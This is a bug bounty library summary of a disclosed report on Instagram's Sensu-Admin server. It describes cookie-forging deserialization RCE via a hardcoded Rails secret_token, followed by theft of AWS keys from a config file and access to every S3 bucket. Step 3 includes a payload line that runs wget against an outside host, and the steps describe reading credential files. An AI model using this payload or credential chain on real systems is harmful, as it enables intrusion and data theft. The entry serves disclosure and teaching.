# Instagram's Million Dollar Bug

Hardcoded Rails secret_token in Sensu-Admin allowed cookie deserialization RCE on sensu.instagram.com, leading to AWS key theft and full S3 bucket access.

- Payout: $2,500
- Severity: critical
- Program: Meta / Facebook
- Credited: Wesley Wineberg
- Disclosed: 2015-12-27
- Write-up quality: 9/10
- Original: http://exfiltrated.com/research-Instagram-RCE.php
- Library page: https://bugbountylibrary.com/r/blog%3Aexfiltrated-com-research-instagram-rce-php
- Tags: domain:web impact:data-leak impact:privesc impact:rce kind:bounty platform:blog sev:critical tech:aws tech:ruby vuln:deserialization vuln:rce vuln:secrets-leak

**Target:** Sensu-Admin web application and AWS S3 buckets
**Root cause:** Sensu-Admin shipped with a hardcoded Rails secret_token, enabling signed cookie forgery; Rails 3.x deserialized session cookies, allowing RCE. The server also stored AWS keys in a readable config file, and those keys had excessive S3 permissions.
**Steps:**
1. Identify https://sensu.instagram.com running Sensu-Admin.
2. Find hardcoded secret_token in secret_token.rb on GitHub.
3. Craft malicious Rails session cookie with serialized Ruby object executing `system("wget http://exfiltrated.com/test-instagram")`, sign with secret_token.
4. Send cookie to server; observe outbound request confirming RCE.
5. Read /etc/sensu/config.json to obtain DB credentials and AWS keypair.
6. Use AWS key to list S3 buckets; access autoscale-kitchen bucket.
7. Download older autoscale-kitchen tarball containing Vagrant config with second AWS keypair.
8. Use second keypair to access all 82 S3 buckets, including source code, SSL keys, and API secrets.
**How found:** Tip from a friend about exposed Sensu-Admin server; searched GitHub for Sensu-Admin, found hardcoded secret_token; tested deserialization locally then against server.
**Exploitation:** Attacker with network access to sensu.instagram.com forges a signed Rails session cookie containing a deserialization payload, achieving RCE. From there, reads config file for AWS keys, uses first key to access a bucket containing a second key, then uses second key to read all S3 buckets, exfiltrating sensitive data.
**Escalation:** Chained RCE -> config file credential theft -> S3 bucket access -> privilege escalation via second AWS key -> full S3 compromise.
**Insight:** Always check for hardcoded secrets in open-source components; a single leaked secret can lead to full compromise if not rotated. Also, S3 bucket versioning can expose old credentials.